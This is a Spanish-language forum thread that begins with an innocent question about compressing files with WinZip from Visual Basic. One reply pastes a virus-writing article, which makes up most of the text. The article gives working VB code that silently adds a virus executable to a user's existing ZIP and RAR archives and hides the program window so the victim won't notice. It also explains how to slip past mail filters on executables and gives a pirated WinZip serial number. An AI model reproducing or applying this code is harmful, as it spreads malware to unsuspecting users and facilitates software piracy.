Como comprimir una base de datos con WinZIP desde un codigo de VB

dradana2003
10 de Enero del 2006
hasta haora para comprimir con WinZip o WinRar he utilizado la funcion Shell, para abrir estos programas pero necesito saber si se puede comprimir sin necesidad de abrirlos, para que esto sea trnasparente para el usuario. por favor si me lo pueden ejemplificar con un ejemplo

johnny
10 de Enero del 2006
necesito comprimir archivos

¶mmm
10 de Enero del 2006
ACABO DE LEER UN ARTICULO TE LO MANDO TODO
**-Infección de Zip's
La pregunta es como infectar archivos zip's y pues el programa Winzip nos ayuda
en ello. ¿Como? - Pues con sus comandos que nos permiten zipear de manera que el
usuario no se de cuenta. Winzip nos proporciona comandos llamados parámetros
para crear zip`s, esto nos servirá para enviar nuestro virus por mail zipeado,
porque si lo enviamos el archivo adjunto de extensión "exe" el sevidor de mail
nos lo retendrá porque son las extensiones más utilizadas por los virus en
internet entre las cuales estan las ".com", ".pif", ".scr", ".vbs"... y ya no se
puede, así que zipeando si se puede.
Winzip es una herramienta que es utilizada en todo el mundo y nosotros aprove-
charemos eso.
Primero que nada debemos obtener la dirección de winzip, que es muy fácil de
obtener, esta en:
HKLMSoftwareMicrosoftWindowsCurrentversionUninstallWinzipUninstallString
El cual por ejemplo nos arrojará el siguiente valor al lear la cadena:
"C:ARCHIVOS DE PROGRAMAWINZIPWINZIP32.EXE" /uninstall
Ahora ¿Como obtener fácilmente la dirección?, Sencillo:
Winzip = fso.GetParentFolderName(Direcciondewinzip)
Así de simple.
*--Agregar un Archivo a un zip.
Shell Winzip & " -a " archivozip & " " & archivoexe
Ejemplo:
Shell Winzip & " -a C:Hola.zip" & " C:virus.exe"

*--Agregar varios archivos a un zip
Puedes Agregar varios archivos de diferentes formas por extensíon y por
nombre y dirección de los archivos. Ejemplo:

Shell Winzip & " -a C:Hola.zip" & " C:windowsSystem*.*"
'Ziperá todos los archivos que se encuentran en ese directorio

Shell Winzip & " -a C:Hola.zip" & " C:windowsSystem*.dll"
'Zipeará todos los archivos con extensión dll que esten en ese directorio

Shell Winzip & " -a C:Hola.zip" & " C:virus.exe C:Archivo.txt"
'Zipeará los archivos que fueron escritos no importando la dirección

*--Extraer Archivos
La sintáxis para extraer archivos de un zip es la siguiente:
Shell Winzip & " -e " & archivozip & " " & directorio

Ejemplo
Shell Winzip & " -e C:Hola.zip" & " C:"

*--¿Como Crear un Archivo zip sin formato?
Sencillo, sólo Abre un archivo de modo binario y cierralo, es todo, nadamas
que con extensión zip
Ejemplo:

Open "C:Archivozip.zip" for binary as #1
Close #1

*--Ahora a lo que vamos, la infección.
Simplemente buscar por algún método de búsqueda que quieras y al encontrarlo
sólo adicionar nuestro programa "Virus" con un nombre convincente para que
el usuario lo abra y así se produzca la infección en otro sistema. Ejemplo:

Supongamos que encontramos el siguiente archivo --> "A:Cosas.zip", Ahora
vamos a infectarlo

Winzip = "C:ARCHIVOS DE PROGRAMAWINZIPWINZIP32.EXE"
midir = "C:WindowsSystem32virus.exe"
Call infectar("A:Cosas.zip")

Sub infectar(Direccion as string)
Shell Winzip " -a " & Direccion & " " & midir, VbHide
'Supongamos que winzip tiene el valor de la dirección y nombre del
'programa Winzip y midir tiene el valor de la dirección de nuestro exe
'junto con el nombre y así ahora añadirlo.
'El VbHide nos sirve para ocultar el programa, así no se dará cuenta el
'usuario de que se está infectando un archivo de su diskette. Porque si
'no lo ponemos en caso de que tarde, se muestra el programa añadiendo un
'archivo.
End sub

*-- Registro de Winzip
Otro problema que nos proporciona Winzip es que no esté registrado lo cual
no es difícil de registrarlo simplemente con las siguientes cadenas del
regedit:

"HKCUsoftwarenico mak computingwinzipwininiName"
"HKCUsoftwarenico mak computingwinzipwininiSN"
"HKEY_USERS.DEFAULTsoftwarenico mak computingwinzipwininiName"
"HKEY_USERS.DEFAULTsoftwarenico mak computingwinzipwininiSN"

Donde:
Name = "Nombre del registrado"
SN = "Numero de serie o Serial Number"

En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de
numeros de serie que lo puedes encontrar en internet, Es igual el numero de
serie para registrar Winzip en todas sus versiones
Ejemplo:

Name = "GEDZAC"
SN = "EBB9042E"

Si escribes en el registro las cadenas anteriores con los valores de arriba
estará registrado winzip con el nombre de GEDZAC.
(Comprobado en versiones 8.x y 9.x).


**- Infección de archivos Rar's.
Al igual que los zip's tambien los archivos rar se pueden infectar de manera
sencilla, y es muy usado en todo el mundo. No es necesario registrarlo como
el winzip que nos mostraba la pantalla de que si estas o no de acuerdo del
uso de este para que saques el número de serie.
Obtendremos la dirección de winrar

HKCRWinRARshellopencommand(Predeterminado)
Resultado de leer la cadena de arriba =
"C:ARCHIVOS DE PROGRAMAWINRARWinRAR.exe" "%1"

De que manera obtener sólo el path:

winrar = StrReverse(wss.regread("HKCRWinRARshellopencommand"))
'Leo e invierto la cadena

w = InStr(1, winrar, " ", vbBinaryCompare)
'Obtengo el espacio entre el path y el "%1"

winrar = StrReverse(Mid(winrar, w, Len(winrar)))
'Recorto y vuelvo a dejar la cadena como estaba (La revierto)

Ahora ya tenemos lo que nos interesa (el path) para empezar a infectar
archivos rar y este programa además de ofrecernos la infección a archivos
rar tambien nos permite a zip, es más fácil de utilizar que winzip. Ejemplo:

*-Agregar archivo (Infectar)

Shell winrar & " a " & archivorar & " " & "archivoacomprimir"

Agrega un archivo
Shell winrar & " a C:archivozip.zip C:virus.exe"
'Añade el archivo virus.exe al archivozip.zip

Shell winrar & " a C:archivorar.rar C:virus.exe"
'Añade el archivo virus.exe al archivorar.rar

Agrega un directorio
Shell winrar & " a C:archivozip.zip C:"
'Añade todos los archivos de C: a el archivo archivozip.zip

Shell winrar & " a C:archivorar.rar C:"
'Añade todos los archivos de C: a el archivo archivorar.rar

La ventaja es de que si no existe el archivo winrar lo crea.

*--Extraer archivos

Shell winrar & " x archivorar archivoaextraer"

Ejemplos:
Extraer un archivo
Shell winrar & " x C:archivorar.rar archivo.txt"
'Extrae el archivo "archivo.txt" de archivo .rar

Shell winrar & " x C:archivozip.zip archivo.txt"
'Extrae el archivo "archivo.txt" de archivo .zip

Extraer todos los archivos
Shell winrar & " x C:archivozip.rar C:"
'Extrae todos los archivos del archivo .rar a "C:"

Shell winrar & " x C:archivozip.zip C:"
'Extrae todos los archivos del archivo .zip a "C:"


Al igual que en winzip la infección es igual:

Sub infectar(Direccion as string)

Shell winrar " -a " & Direccion & " " & midir, VbHide
'Supongamos que winrar tiene el valor de la dirección y nombre del programa
'Winrar y midir tiene el valor de la dirección de nuestro exe junto con el
'nombre para añadirlo al archivo rar.
'El VbHide nos sirve para ocultar el programa, así no se dará cuenta el
'usuario de que se está infectando un archivo. Porque si no lo ponemos en
'caso de que tarde, se muestra el programa añadiendo un archivo y eso
'delatará nuestro virus.
End sub


********************************************************************************
Nota: Se tiene problemas con las direcciones, para resolver esto utilizaremos el
método ShortPath de la fso. Ejemplo:

Set fso = CreateObject ("Scripting.FileSystemObject")
Set archivo = fso.GetFile(Direccion_del_archivo_y_archivo)
'Ejemplo: C:Mis documentosArchivozip.zip o C:Mis documentosArchivorar.rar
direccioncorta = archivo.ShortPath

Lo que hace es crear un path sin espacios, del primer path que escribí de
ejemplo arrojará lo siguiente "C:MISDOC~1ARCHIV~1.ZIP" una dirección corta
Así no te causará problemas para la infección de archivos ya que no admiten
espacios en los path. Esto va para el archivo a infectar y el archivo a
comprimir (osea Zip y virus ejm.)

Ejemplo:

Public Sub infectarzip(nomzip As String,midir as string)
Dim ar1, pt1, pt2
'Ar1:lo utilizo para colocar las propiedades del archivo
'Pt1: lo utlizo para colocar el path del zip
'Pt2: lo utlizo para colocar el path del virus
On Error GoTo err:

Set ar1 = fso.getfile(nomzip) 'Coloco las propiedades del archivo zip en ar1
pt1 = ar1.shortpath 'Coloco el path corto en pt1

Set ar1 = fso.getfile(midir) 'Coloco las propiedades del virus en ar1
pt2 = ar1.shortpath 'Coloco el path corto en pt2

'Coloco las propiedades del archivo zip en ar1
Shell winzip & " -a " & pt1 & " " & pt2, vbHide

err:
End Sub